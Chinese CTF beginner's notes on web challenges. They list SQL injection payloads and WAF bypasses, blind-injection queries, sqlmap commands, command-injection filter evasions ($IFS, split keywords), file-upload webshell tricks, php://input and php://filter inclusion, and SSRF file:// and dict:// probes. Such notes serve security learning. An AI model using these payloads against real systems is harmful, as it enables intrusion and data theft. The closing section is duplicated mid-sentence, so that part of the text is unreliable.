ctf新手总结--web做题

文章目录

  • 后台目录文件
    • 御剑扫后台目录
    • dirsearch扫后台文件
    • Git泄露
  • bp抓包
  • Wireshark
  • 后门,菜刀,蚁剑
  • PHP代码审计
    • 正则表达式
    • 序列化和反序列化
      • 相关函数
      • 相关魔术方法
    • 一些常用函数
    • 命令执行函数
  • sql注入
    • 基本sql注入过程
      • 判断是否存在注入和注入类型
      • 判断select语句中有几列
      • 判断显示的信息是第几列的信息
      • 利用函数来收集数据库信息
      • 通过union查询数据库
    • sql注入绕过
    • insert/update/UpdateXML注入
    • 时间盲注
    • 布尔盲注
    • sqlmap使用
  • 文件
    • 文件上传漏洞
    • 文件包含漏洞
  • 命令注入
  • XSS跨站脚本
    • XSS DOM
  • SSRF
  • XSS跨站脚本
    • XSS DOM
  • SSRF

后台目录文件

御剑扫后台目录

  1. robots.txt
  2. index.php
  3. index.phps
  4. index.php.bak
  5. vim泄露,/.index.php.swp 若文件损坏,乱码 linux下 vim -r filename 访问得到index.php的源码备份,正在vim编辑时候,异常退出的index.php
  6. 根据提示输入 /.DS_Store,下载附件,在win系统打开没发现什么东西,放到kali里用cat命令打开, 复制 724207d47744fcc761df76adf6febb7c.txt(txt前面的)到网站中,得到flag
  7. 源码压缩包, 一般www.zip,可以扫目录或者脚本
  8. 探针 tz.php
  9. 日志目录 ?url=/var/log/nginx/access.log

dirsearch扫后台文件

windows 下 dirsearch.py

python3 dirsearch.py -u http://challenge-b20bc02a1f02c35f.sandbox.ctfhub.com:10080/

Git泄露

linux 下 GitHack.py

python GitHack.py -u http://challenge-b20bc02a1f02c35f.sandbox.ctfhub.com:10080/.git
  • 执行命令后会在githack目录里面生成一个dist文件夹 ,文件夹里面还有一个文件夹,右键打开命令行
  • 使用git log命令查看历史记录我们要切换到add flag 这个版本
    命令
    git reset --hard 746cd7ee70d6174b1de07d591b6861cd3b243c1f文件夹里面会生成新的文件,我们查看文件得到flag。
  • 使用git stash list命令查看历史记录 发现有add flag, 因此直接git stash apply或者git stash pop,然后发现目录下多了个txt文件,打开里面就是flag.

bp抓包

  1. Intrunder
  2. Reapter

Wireshark

后门,菜刀,蚁剑

示例:


密码为shell
注入为  shell = xxx

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8x95eWtp-1666584434826)(C:\Users\86136\AppData\Roaming\Typora\typora-user-images\image-20220211103508226.png)]

PHP代码审计

正则表达式

/\b[a-z]+\b /i

/ 匹配/修饰符

字符 描述
\ 将下一个字符标记为一个特殊字符、或一个原义字符、或一个 向后引用、或一个八进制转义符。例如,’n’ 匹配字符 “n”。’\n’ 匹配一个换行符。序列 ‘\’ 匹配 “\” 而 “(” 则匹配 “(”。
^ 匹配输入字符串的开始位置。如果设置了 RegExp 对象的 Multiline 属性,^ 也匹配 ‘\n’ 或 ‘\r’ 之后的位置。
$ 匹配输入字符串的结束位置。如果设置了RegExp 对象的 Multiline 属性,$ 也匹配 ‘\n’ 或 ‘\r’ 之前的位置。
* 匹配前面的子表达式零次或多次。例如,zo* 能匹配 “z” 以及 “zoo”。* 等价于{0,}。
+ 匹配前面的子表达式一次或多次。例如,’zo+’ 能匹配 “zo” 以及 “zoo”,但不能匹配 “z”。+ 等价于 {1,}。
? 匹配前面的子表达式零次或一次。例如,”do(es)?” 可以匹配 “do” 或 “does” 中的”do” 。? 等价于 {0,1}。
{n} n 是一个非负整数。匹配确定的 n 次。例如,’o{2}’ 不能匹配 “Bob” 中的 ‘o’,但是能匹配 “food” 中的两个 o。
{n,} n 是一个非负整数。至少匹配n 次。例如,’o{2,}’ 不能匹配 “Bob” 中的 ‘o’,但能匹配 “foooood” 中的所有 o。’o{1,}’ 等价于 ‘o+’。’o{0,}’ 则等价于 ‘o*’。
{n,m} m 和 n 均为非负整数,其中n <= m。最少匹配 n 次且最多匹配 m 次。例如,”o{1,3}” 将匹配 “fooooood” 中的前三个 o。’o{0,1}’ 等价于 ‘o?’。请注意在逗号和两个数之间不能有空格。
? 当 该字符紧跟在任何一个其他限制符 (*, +, ?, {n}, {n,}, {n,m}) 后面时,匹配模式是非贪婪的。非贪婪模式尽可能少的匹配所搜索的字符串,而默认的贪婪模式则尽可能多的匹配所搜索的字符串。例如,对于字符串 “oooo”,’o+?’ 将匹配单个 “o”,而 ‘o+’ 将匹配所有 ‘o’。
. 匹配除 “\n” 之外的任何单个字符。要匹配包括 ‘\n’ 在内的任何字符,请使用象 ‘[.\n]’ 的模式。
(pattern) 匹配 pattern 并获取这一匹配。所获取的匹配可以从产生的 Matches 集合得到,在VBScript 中使用 SubMatches 集合,在JScript 中则使用 $0…$9 属性。要匹配圆括号字符,请使用 ‘(’ 或 ‘)’。
(?:pattern) 匹 配 pattern 但不获取匹配结果,也就是说这是一个非获取匹配,不进行存储供以后使用。这在使用 “或” 字符 (|) 来组合一个模式的各个部分是很有用。例如, ‘industr(?:y|ies) 就是一个比 ‘industry|industries’ 更简略的表达式。
(?=pattern) 正 向预查,在任何匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如,’Windows (?=95|98|NT|2000)’ 能匹配 “Windows 2000″ 中的 “Windows” ,但不能匹配 “Windows 3.1″ 中的 “Windows”。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始。
(?!pattern) 负 向预查,在任何不匹配 pattern 的字符串开始处匹配查找字符串。这是一个非获取匹配,也就是说,该匹配不需要获取供以后使用。例如’Windows (?!95|98|NT|2000)’ 能匹配 “Windows 3.1″ 中的 “Windows”,但不能匹配 “Windows 2000″ 中的 “Windows”。预查不消耗字符,也就是说,在一个匹配发生后,在最后一次匹配之后立即开始下一次匹配的搜索,而不是从包含预查的字符之后开始
x|y 匹配 x 或 y。例如,’z|food’ 能匹配 “z” 或 “food”。’(z|f)ood’ 则匹配 “zood” 或 “food”。
[xyz] 字符集合。匹配所包含的任意一个字符。例如, ‘[abc]’ 可以匹配 “plain” 中的 ‘a’。
[^xyz] 负值字符集合。匹配未包含的任意字符。例如, ‘[^abc]’ 可以匹配 “plain” 中的’p’。
[a-z] 字符范围。匹配指定范围内的任意字符。例如,’[a-z]’ 可以匹配 ‘a’ 到 ‘z’ 范围内的任意小写字母字符。
[^a-z] 负值字符范围。匹配任何不在指定范围内的任意字符。例如,’[^a-z]’ 可以匹配任何不在 ‘a’ 到 ‘z’ 范围内的任意字符。
\b 匹配一个单词边界,也就是指单词和空格间的位置。例如, ‘er\b’ 可以匹配”never” 中的 ‘er’,但不能匹配 “verb” 中的 ‘er’。
\B 匹配非单词边界。’er\B’ 能匹配 “verb” 中的 ‘er’,但不能匹配 “never” 中的 ‘er’。
\cx 匹配由 x 指明的控制字符。例如, \cM 匹配一个 Control-M 或回车符。x 的值必须为 A-Z 或 a-z 之一。否则,将 c 视为一个原义的 ‘c’ 字符。
\d 匹配一个数字字符。等价于 [0-9]。
\D 匹配一个非数字字符。等价于 [^0-9]。
\f 匹配一个换页符。等价于 \x0c 和 \cL。
\n 匹配一个换行符。等价于 \x0a 和 \cJ。
\r 匹配一个回车符。等价于 \x0d 和 \cM。
\s 匹配任何空白字符,包括空格、制表符、换页符等等。等价于 [ \f\n\r\t\v]。
\S 匹配任何非空白字符。等价于 [^ \f\n\r\t\v]。
\t 匹配一个制表符。等价于 \x09 和 \cI。
\v 匹配一个垂直制表符。等价于 \x0b 和 \cK。
\w 匹配包括下划线的任何单词字符。等价于’[A-Za-z0-9_]’。
\W 匹配任何非单词字符。等价于 ‘[^A-Za-z0-9_]’。
\xn 匹配 n,其中 n 为十六进制转义值。十六进制转义值必须为确定的两个数字长。例如,’\x41′ 匹配 “A”。’\x041′ 则等价于 ‘\x04′ & “1″。正则表达式中可以使用 ASCII 编码。.
\num 匹配 num,其中 num 是一个正整数。对所获取的匹配的引用。例如,’(.)\1′ 匹配两个连续的相同字符。
\n 标识一个八进制转义值或一个向后引用。如果 \n 之前至少 n 个获取的子表达式,则 n 为向后引用。否则,如果 n 为八进制数字 (0-7),则 n 为一个八进制转义值。
\nm 标 识一个八进制转义值或一个向后引用。如果 \nm 之前至少有 nm 个获得子表达式,则 nm 为向后引用。如果 \nm 之前至少有 n 个获取,则 n 为一个后跟文字 m 的向后引用。如果前面的条件都不满足,若 n 和 m 均为八进制数字 (0-7),则 \nm 将匹配八进制转义值 nm。
\nml 如果 n 为八进制数字 (0-3),且 m 和 l 均为八进制数字 (0-7),则匹配八进制转义值 nml。
\un 匹配 n,其中 n 是一个用四个十六进制数字表示的 Unicode 字符。例如, \u00A9 匹配版权符号 (?)。
◆i : 如果在修饰符中加上"i",则正则将会取消大小写敏感性,即"a"和"A" 是一样的。
◆m: 默认的正则开始"^“和结束” " 只是对于正则字符串如果在修饰符中加上 " m " ,那么开始和结束将会指字符串的每一行:每一行的开头就是 " " ,结尾就是 " "只是对于正则字符串如果在修饰符中加上"m",那么开始和结束将会指字符串的每一行:每一行的开头就是"^",结尾就是" "只是对于正则字符串如果在修饰符中加上"m",那么开始和结束将会指字符串的每一行:每一行的开头就是"",结尾就是""。
◆s: 如果在修饰符中加入"s",那么默认的"."代表除了换行符以外的任何字符将会变成任意字符,也就是包括换行符!
◆x: 如果加上该修饰符,表达式中的空白字符将会被忽略,除非它已经被转义。
◆e: 本修饰符仅仅对于replacement有用,代表在replacement中作为PHP代码。
◆A: 如果使用这个修饰符,那么表达式必须是匹配的字符串中的开头部分。比如说"/a/A"匹配"abcd"。
◆E: 与"m"相反,如果使用这个修饰符,那么"$"将匹配绝对字符串的结尾,而不是换行符前面,默认就打开了这个模式。
◆U: 和问号的作用差不多,用于设置"贪婪模式"。

序列化和反序列化

相关函数

serialize() 序列化

unserialize() 反序列化

相关魔术方法

一般两个下划线开头的函数都是魔术方法,所谓魔术无非就是会自动调用而已

__construct():构造函数,当对象被创建的时候自动调用,对对象进行初始化。

__destruct():当对象被销毁时会自动调用。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-EPkcU30l-1666584434827)(C:\Users\86136\AppData\Roaming\Typora\typora-user-images\image-20220211174349530.png)]

__wakeup()  对象属性个数的值大于真实的属性个数的值时就会跳过__wakeup的执行
实例:下面的1改成2 
O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

一些常用函数

str_replace('a','b','abcd');  #结果: bbcd
in_array($a, $b);#a是否在b里,返回boolen
mb_strpos($a, $b);#返回字符串 b在a中的首次出现位置
mb_substr($page,0,10);#返回0-10位置的数据
include $_REQUEST['file']; include函数:以字符‘/’分隔(而且不计个数),如果在前面的字符串所代表的文件无法被PHP找到,则PHP会自动包含‘/’后面的文件——注意是最后一个‘/’。
md5()  md5漏洞介绍:
PHP在处理哈希字符串时,它把每一个以“0E”开头的哈希值都解释为0
md5(QNKCDZO) = 0e830400451993494058024219903391 = 0

命令执行函数

cat,system(''),highlight_file('')被禁用


payload = c=$a='sys';$b='tem';$d=$a.$b;$d('ca""t config.php'); #或者ca\t
?c=echo `$_POST[1]`?> 然后post提交参数 1=cat config.php
#echo    cat config.php
#eval    system('cat config.')

;被禁用

代码..?>提前闭合

其他命令执行函数

system('')      
passthru()
# passthru("ca''t `ls`");  linxu下反引号``作用是先执行里面的内容,然后复制给cat
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

sql注入

基本sql注入过程

判断是否存在注入和注入类型

1、判断注入类型

select * from table where id = $id;       #数字型
select * from table where id = '$id';     #字符型,单引号双引号均可
select * from table where id = ('$id');   #字符型,单引号双引号均可

数字型:

​ 方法一:

​ 注入 id=a,报错则表示为数字型,否则为字符型

​ 方法二:id= x and 1=1 页面依旧运行正常,继续进行下一步。

id= x and 1=2 页面运行错误,则说明此sql注入为数字型注入。

字符型:

id= x' and '1'='1 页面运行正常,继续进行下一步。

id= x' and '1'='2 页面运行错误,则说明此sql注入为字符型注入。

2、若是字符型,则判断包裹类型:

//单引号 双引号 同理
//注入id = a'#; //成功则为 id = '$id' = 'a'#';
//否则为括号包裹

判断select语句中有几列

示例:

select * from stu where id = 1 order by X; #X从大往小试,最大的是对应字段的数量

判断显示的信息是第几列的信息

一般在我们可见页面中显示的信息不一定是查询全部列数,可能查询3列,显示1列。通过‘直接闭合前面的select语句,使其前半句查询结果空(除非存在name=’‘的情况),即数据库中不存在该查询数据,然后通过union select 1,2 显示的数字来确定显示的列的位置。

示例:

select * from stu id ='' union select 1,2,3;#和上面order by 最大值对应

根据查询结果的显示,得到将要查询的信息放置的位置。

利用函数来收集数据库信息

查询sql自带的函数来确定当前用户,当前数据库等信息。

数据库函数有以下:

1、用户:user()

2、当前数据库:database()

3、数据库版本:version()

4、@@hostname (用户)

5、@@datadir (数据库在文件的位置)

6、@@version (版本)

7、@@version_compile_OS (操作系统版本)

通过union查询数据库

查当前数据库database()test, 查表名stu, 查列名/zsname, 查内容Jack
  • 获取所有数据库名称
union select group_concat(schema_name) from information_schema.schemata
  • 查询指定数据库中有多少个表

union select table_schema,count(*) from 数据库名.tables

information_schema?

  • 查询指定数据库中的表名
union select group_concat(table_name) from information_schema.tables where table_schema='数据库名字'

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-99ngAQbd-1666584434828)(E:\Typora\wp,png\web做题\image-20220219112243484.png)]

  • 查询指定数据库指定表中的列名

union select table_name,(select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名' limit 0,1)

  • 查询字段名
union select group_concat(column_name) from information_schema.columns where table_name='表名'
  • 查询字段内容

union select 字段名 from 表名

select 1,id,3 from stu 
  • 查询指定数据库指定表的列的内容
union select 1,group_concat(列名) from 数据库名.表名

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sQ55PGCj-1666584434829)(E:\Typora\wp,png\web做题\image-20220219111942986.png)]

sql注入绕过

注释符绕过

//常用注释符
-- 注释内容
# 注释内容
/*注释内容*/

//实例
select * from users -- where id = 1;
select * from users # where id = 2;
select * from users where id = 3 /*+1*/

大小写绕过

常用于waf的正则对大小写不敏感的情况,一般都是题目自己故意这样设计。
例如:waf过滤了关键字select,可以尝试使用Select等绕过。

#大小写绕过
select * from users where id = -1 union Select 1,2,3;

内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

select * from users where id = -1 union /*!select*/ 1,2,3;

双写关键字绕过

在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。

特殊编码绕过

  • 16进制绕过
select * from users where username = 0x7465737431;#test1
  • ascii编码绕过

Test 等价于
CHAR(84)+CHAR(101)+CHAR(115)+CHAR(116)
tip:好像新版mysql不能用了

空格过滤绕过

/**/
()
回车(url编码中的%0a)
`(tap键上面的按钮)
tap
两个空格
+:加号
%09、%0a、%0b、%0c、%0d:TAB水平制表符、换行符、垂直制表符、换页、回车的URL编码形式

实例:

select/**/*/**/from/**/users;

select(id)from(users);#注意括号中不能含有*

mysql> select
    -> *
    -> from 
    -> users
    -> where 
    -> id = 1;
    
select`id`from`users`where`id`=1;

过滤or and xor not 绕过

and = &&
or = ||
xor = | # 异或
not = !

过滤等号=绕过

  • 不加通配符like执行的效果和=一致,所以可以用来绕过。

正常加上通配符的like

select * from users where username like "test%";

不加上通配符的like可以用来取代=

select * from users where id like 1;
  • rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样
mysql> select * from users where id rlike 1;
#test1,1,**1 会被选中
  • regexp:MySQL中使用来进行正则表达式匹配
select * from users where id regexp 1;
#id=1 被返回
  • <>等价于!= 所以前面加一个 !结果就是等于号了
select * from users where !(id <> 1);#id=1

过滤大小于号绕过

在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。但是如果过滤了大小于号的话,那就凉凉。怎么会呢,可以使用以下的关键字来绕过

  • greatest(n1, n2, n3…):返回n中的最大值
select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)
  • least(n1,n2,n3…):返回n中的最小值
  • strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第二个参数大于第一个参数,则返回 -1,其它情况返回 1
//username = test1; t = char(116)
//substr(str,int1,int2) #返回str子串,int1=0/1 都是从起始位置开始,int2代表长度
select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117);#执行成功
strcmp(ascii(substr(username,1,1)),117);#执行失败
  • in关键字
//username = test1
select * from users where id = 1 and substr(username,1,1) in ('t');#success
select * from users where id = 1 and substr(username,1,1) in ('y');#empty set
  • between a and b:范围在a-b之间
select * from users where id between 1 and 2;//返回id=1,2
select * from users where id between 1 and 1;//相当于=

过滤引号绕过

  • 使用十六进制
select column_name  from information_schema.tables where table_name=0x7573657273;#users
  • 宽字节

常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。

# 过滤单引号时
%bf%27 %df%27 %aa%27
#单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在 %df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MYSQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说
%df\’ = %df%5c%27=縗’

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-knXQcp78-1666584434829)(E:\Typora\wp,png\web做题\image-20220219094007151.png)]

过滤逗号绕过

sql盲注时常用到以下的函数:

substr()

substr(string, pos, len):从pos开始,取长度为len的子串
substr(string, pos):从pos开始,取到string的最后

substring()

用法和substr()一样

mid()

用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的

left()和right()

left(string, len)right(string, len):分别是从左或从右取string中长度为len的子串

limit

limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始

ascii()和char()

ascii(char):把char这个字符转为ascii码
char(ascii_int):和ascii()的作用相反,将ascii码转字符

回到正题,如果waf过滤了逗号,并且只能盲注(盲注基本离不开逗号啊喂),在取子串的几个函数中,有一个替代逗号的方法就是使用from pos for len,其中pos代表从pos个开始读取len长度的子串

//例如在substr()等函数中,常规的写法是
select substr("string",1,3);
//如果过滤了逗号,可以这样使用 from pos for len来取代
select substr("string" from 1 for 3);

在sql盲注中,如果过滤逗号,以下参考下面的写法绕过

//观察回显数字
select ascii(substr(database() from 1 for 1)) > 120;
select ascii(substr(database() from 1 for 1)) > 110;
  • 也可使用join关键字来绕过
select * from users union select * from (select 1)a join (select 2)b join(select 3)c;#等价于select 1,2,3
  • 使用like关键字

适用于substr()等提取子串的函数中的逗号

select ascii(substr(user(),1,1))=114;
select user() like "r%";
select user() like "t%";
  • 使用offset关键字

    适用于limit中的逗号被过滤的情况
    limit 2,1等价于limit 1 offset 2

select * from users limit 2,1;
select * from users limit 1 offset 2;

过滤函数绕过

insert/update/UpdateXML注入

UpdateXML(xml_target,xpath_expr,new_xml)

#此函数将xml_target中用xpath_expr路径匹配到XML片段用new_xml替换,然后返回更改后的XML。
#xml_target被替换的部分与xpath_expr用户提供的XPath表达式匹配。
#如果找不到表达式匹配 xpath_expr项,或者找到多个匹配项,则该函数返回原始 ml_targetXML片段。
#所有三个参数都应为字符串。

ExtractValue(xml_frag, xpath_expr)

#此函数返回在xml_frag用xpath_expr路径匹配到的XML片段。

例如:

//返回数据库名称
and UpdateXML(1,concat('~',database()),1)#
and ExtractValue(1,concat('~',database())#
//查表名
and UpdateXML(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1)),1)#
and ExtractValue(1,concat('~',(select table_name from information_schema.tables where table_schema = database() limit 0,1)))#
//查字段名
and UpdateXML(1,concat('~',(select column_name from information_schema.columns where table_name = '表名' limit 0,1)),1)#
and ExtractValue(1,concat('~',(select column_name from information_schema.columns where table_name = '表名' limit 0,1)))#
//查字段内容
and UpdateXML(1,concat('0x7e',(select 字段名 from 表名 limit 0,1)),1)#

时间盲注

界面返回只用一种:Ture。无论输入任何值,返回情况都会按正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确

  • 查看是否存在时间盲注
id=admin and sleep(5)  //正确,则回显延迟
id=aaaaa and sleep(5)  //错误,回显不延迟
  • 判断数据库库名长度

通过修改length函数的等值,触发if条件,查看是否延时,就可以获取库名长度

id = 1 and if(length(database())=1,sleep(5),1) #
  • 分割字符判断数据库库名

通过修改substr函数的值,触发if条件,查看是否延时,就可以获取库名

//substr(str,int1,int2) #返回str子串,int1=0/1 都是从起始位置开始,int2代表长度
id = 1 and if(ascii(substr(database(),1,1))=A的ascii值,sleep(5),1) #

布尔盲注

布尔很明显Ture跟Flase,也就是说它只会根据你的注入信息返回Ture跟Flase,也就是没有之前的显错信息(没有回显点)

//数据库长度
id = 1 and length(database())>4
//数据库名
id = 1 and ascii(substr(database(),1,1))>106 #第一个字符
id = 1 and ascii(substr(database(),2,1))>97  #第二个字符
//该数据库下几个表
and length(select table_name from information_schema.tables where table_schema=database()) >4
//第一个表名长
and length(select table_name from information_schema.tables where table_schema=database() limit 0,1) >4
//表名
select table_name from information_schema.tables where table_schema=database()
#这条查询语句查询出来可能会查询出多个表(多个字符串),但是substr函数只能处理一个字符串,所以我们要在后面加上 limit 函数,限制只能输出一个表(一个字符串)
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>107
//几个字段名
and length(select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ )>2
//第一个字段名长
and length(select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1)>2
//字段名
and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name=‘表名’ limit 0,1),1,1))>1

sqlmap使用

# 双引号可有可无
# 主要不要少了/?id=1  id必须是可执行的
python sqlmap.py -u "http://challenge-9d9491a09f2e7c36.sandbox.ctfhub.com:10800/?id=1" --dbs


sqlmap -u “注入地址” --dbs // 列举数据库
sqlmap -u “注入地址” --current-db // 当前数据库
sqlmap -u “注入地址” --users // 列数据库用户
sqlmap -u “注入地址” --current–user // 当前用户
sqlmap -u “注入地址” -D 数据库 --tables  // 列举数据库的表名
sqlmap -u “注入地址” -D 数据库 -T 表名 --columns   // 获取表的列名
sqlmap -u “注入地址” -D 数据库 -T 表名字 -C 列名字 --dump    //获取数据库下表的列信息

1.GET参数注入

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1/?id=1"

2.POST参数注入

sqlmap -u "http:/192.168.3.2/sqli-labs-master/sqli-labs-master/Less-1"  --data="id=1"
或者
bp抓包,右键,copy file 然后执行
sqlmap -r 1.txt --current-db

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-o82I0Dn2-1666584434830)(E:\Typora\wp,png\web做题\image-20220303090259234.png)]

文件

文件上传漏洞

限制文件格式是,可用bp抓包,修改Content-Type: image/jpeg

//蚁剑连接时,地址必须为上传文件所在的地址 例如http://127.0.0.1/DVWA/hackable/uploads/123.php

//上传图片,图片末尾是代码
copy 文件1.jpg/b+文件2.php/a 新文件.jpg
  • htaccess
#.htaccess文件
#FileMatch 参数为文件名正则匹配
<FilesMatch "hack.jpg">
#匹配文件名带hack.jpg,解析为hack.php
Sethandler application/x-httpd-php
FilesMatch>

然后上传hack.jpg,写入
  • 文件上传漏洞“%00截断”绕过
在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束,用作改变文件改变了路径
当是GET接收情况的时候,直接用 %00 就可以了。
hack.php%00.png
当是POST接收情况的时候,正确的用法应该是我们需要对 %00 做一个URL解码,也就是URL-decode;
不太确定,暂时当作get用b


为什么两者用法不同?

这是因为 %00 截断在 GET 中被 url 解码之后是空字符。但是在 POST 中 %00 不会被 url 解码,所以只能通过 burpsuite 修改 hex 值为 00 (URL decode)进行截断。

文件包含漏洞

​ 文件包含漏洞是指当服务器开启allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务期允许包含一个远程文件)

​ A为目标服务器,B为本地服务器。A存在文件包含漏洞,在B下创造一个文件上传一句话木马,然后利用A的漏洞,包含B下的文件,达到B也可以上传文件,然后蚁剑连接

  • 文件包含函数:
require:找不到被包含的文件,报错,并且停止运行脚本
include:找不到被包含的文件,只会报错,但会继续运行脚本
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次
file_open()
  • 文件包含的特征
URL栏中有以下内容则可能存在文件包含
 ?page=
 ?file=
 ?home=
  • name=php://input 伪协议
 <?php include($_GET['url']);?> 
 //使用phpw
 ?url=php://input        -- GET请求的url中拼接伪协议
<?php system('ls');?>    -- post请求内容构造需要执行的代码   可能需要bp抓包,修改传递方式
  • name=data:text/plain, 伪协议

命令注入

rce分为远程执行ping,和远程代码执行evel

linux查看文本的命令

cat 由第一行开始显示内容,并将所有内容输出
tac 从最后一行倒序显示内容,并将所有内容输出
more 根据窗口大小,一页一页的现实文件内容
less 和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head 只显示头几行
tail 只显示最后几行
nl 类似于cat -n,显示时输出行号
tailf 类似于tail -f
使用more输出base64密文

ping:

command1 & command2    先执行command2后执行command1
command1 && command2   先执行command1后执行command2,若command1执行失败,则不执行command2
command1 | command2     只执行command2
command1 || command2 :command1执行失败,再执行command2(若command1执行成功,就不再执行command2)

command1 && cat flag.php | base64   用base64编码flag.php内容,然后输出,一般都是flag不能直接cat或者存在特殊字符没有回显,或者下面方法
command1 && base64 flag.php

eval:

#结尾的 ; 不能少
system("ls");
system("ls -all");  //可显示隐藏文件
system("ls /"); //上级目录

php://input

#查看phpinfo,发现以下字段,allow_url_fopen,allow_url_include  on状态  证明是可以使用php://input的。
php:// — 访问各个输入/输出流(I/O streams)
php://input 是个可以访问请求的原始数据的只读流.
可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。即/?file=php://input,然后bp抓包,修改为POST传参,然后注入PHP代码 

php://filter

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FfulNIen-1666584434831)(E:\Typora\wp,png\web做题\image-20220404165507620.png)]

http://URL/?file=php://filter/read=convert.base64-encode/resource=…/…/…/flag

一些过滤:

空格可以用以下字符代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

命令分隔符除了;还有%0a

XSS跨站脚本

XSS的中文名称叫跨站脚本,是WEB漏洞中比较常见的一种,特点就是可以将恶意HTML/JavaScript代码注入到受害用户浏览的网页上,从而达到劫持用户会话的目的。XSS根据恶意脚本的传递方式可以分为3种,分别为反射型、存储型、DOM型,前面两种恶意脚本都会经过服务器端然后返回给客户端,相对DOM型来说比较好检测与防御,而DOM型不用将恶意脚本传输到服务器在返回客户端,这就是DOM型和反射、存储型的区别,

XSS DOM

SSRF

访问网站的绝对路径:

/?url=file:///var/www/html/xxx.php

端口扫描(dict协议,bp抓包,爆破

dict://127.0.0.1:端口号
问请求的原始数据的只读流.
可以接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量,以达到以post 的形式进行输入的目的。即/?file=php://input,然后bp抓包,修改为POST传参,然后注入PHP代码


php://filter

[外链图片转存中...(img-FfulNIen-1666584434831)]

```shell
http://URL/?file=php://filter/read=convert.base64-encode/resource=…/…/…/flag

一些过滤:

空格可以用以下字符代替:
< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等

$IFS在linux下表示分隔符,但是如果单纯的cat$IFS2,bash解释器会把整个IFS2当做变量名,所以导致输不出来结果,因此这里加一个{}就固定了变量名。
同理,在后面加个$可以起到截断的作用,使用$9是因为它是当前系统shell进程的第九个参数的持有者,它始终为空字符串。

命令分隔符除了;还有%0a

XSS跨站脚本

XSS的中文名称叫跨站脚本,是WEB漏洞中比较常见的一种,特点就是可以将恶意HTML/JavaScript代码注入到受害用户浏览的网页上,从而达到劫持用户会话的目的。XSS根据恶意脚本的传递方式可以分为3种,分别为反射型、存储型、DOM型,前面两种恶意脚本都会经过服务器端然后返回给客户端,相对DOM型来说比较好检测与防御,而DOM型不用将恶意脚本传输到服务器在返回客户端,这就是DOM型和反射、存储型的区别,

XSS DOM

SSRF

访问网站的绝对路径:

/?url=file:///var/www/html/xxx.php

端口扫描(dict协议,bp抓包,爆破

dict://127.0.0.1:端口号

你可能感兴趣的:(ctf,1024程序员节)